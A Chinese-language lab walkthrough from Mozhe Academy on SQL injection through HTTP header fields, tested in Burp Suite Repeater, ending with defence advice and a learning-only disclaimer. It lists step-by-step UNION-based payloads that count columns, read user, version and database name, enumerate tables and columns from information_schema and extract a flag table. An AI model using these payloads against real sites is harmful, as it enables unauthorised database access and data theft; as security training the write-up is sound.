墨者:SQL注入漏洞测试(HTTP头注入)

墨者学院:SQL注入漏洞测试(HTTP头注入)🚀

1. 什么是HTTP头注入?🔍

HTTP头注入是指攻击者通过篡改HTTP请求头部的字段(如User-Agent、Referer、Cookie、Host等),将恶意SQL代码插入到后端数据库查询中。当应用程序未对头部输入进行严格过滤时,可能导致数据库信息泄露或服务器被控制。

典型场景:

  • 登录页面的X-Forwarded-For记录IP
  • 用户跟踪的User-Agent记录
  • 身份验证的Cookie字段
  • 服务器路由使用的Host字段

2. 使用工具:Burpsuite🔧

Burpsuite是渗透测试中常用的拦截/修改HTTP请求的工具,测试将使用Repeater模块,手动修改并重放请求


3. 注入流程详解🎯

步骤1:确定字段数量⚡

sql 复制代码
order by 5

参数解释:

  • order by N:通过递增N判断查询结果的列数,直到返回错误(本例中order by 5报错,说明列数≤4)。

步骤2:确认回显位⚡

sql 复制代码
union select 1,2,3,4

参数解释:

  • union select:联合查询,数字1-4代表列位置,页面显示的数字即为可回显数据的列(如显示2,3,4则对应第2、3、4列可注入)。

步骤3:获取基础信息⚡

sql 复制代码
union select 1,user(),version(),database()

参数解释:

  • user():当前数据库用户
  • version():数据库版本
  • database():当前数据库名称

步骤4:枚举表名⚡

sql 复制代码
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'

参数解释:

  • information_schema.tables:系统表存储所有表信息
  • group_concat():合并查询结果(避免多行显示)
  • table_schema:指定目标数据库名

步骤5:枚举列名⚡

sql 复制代码
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'

参数解释:

  • information_schema.columns:系统表存储所有列信息
  • table_name:指定目标表名

步骤6:提取数据⚡

sql 复制代码
union select 1,2,3,group_concat(flag) from flag

参数解释:

  • 从flag表中提取flag列的全部数据

4. 总结🏁

  1. 漏洞成因:未过滤HTTP头部输入,直接拼接SQL查询。
  2. 防御建议 :
    • 使用预编译语句(Prepared Statements)
    • 对头部参数进行严格白名单验证
  3. 测试关键 :
    • 通过order by确定列数
    • 利用information_schema逐步获取数据库结构

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
lusklusklusk11 小时前
Python 巡检脚本:进程运行状态、数据库写入时效检查及邮件通知与告警
数据库·python·oracle
GeW11 小时前
产业新优势基础软件的人才底盘,从Linux与数据库开始
linux·数据库
SelectDB11 小时前
Doris Arrow Flight SQL 高速读取协议实战:与 Snowflake 客户端取数链路对照
大数据·数据库·数据分析
曼岛_11 小时前
[图解密码学]第4章 古典密码
java·数据库·密码学
瀚高PG实验室12 小时前
HGDB V9.0.5 .pgpass 免密登录提示 IsEncryptNon-base64 encoding 警告处理
数据库·postgresql·瀚高数据库
龙腾AI白云12 小时前
大模型检索增强生成(RAG)的技术原理与架构设计
数据库·python·机器学习·知识图谱
KaiwuDB13 小时前
KaiwuDB 运维实战06:数据库备份与恢复:从理论到实战
运维·数据库·时序数据库·kaiwudb
数字新视界13 小时前
空调控制器AIRC800的智能化管理与应用实践
大数据·服务器·数据库·动环监控系统·动力与环境监控系统
学IT的周星星14 小时前
LangGraph:用「流程图」的方式编排 Agent
数据库·人工智能·大模型·llm·流程图·agent
吃一碗粉只付一碗钱14 小时前
10-令牌里的用户主键不要明文
服务器·数据库·sql·sqlserver·c#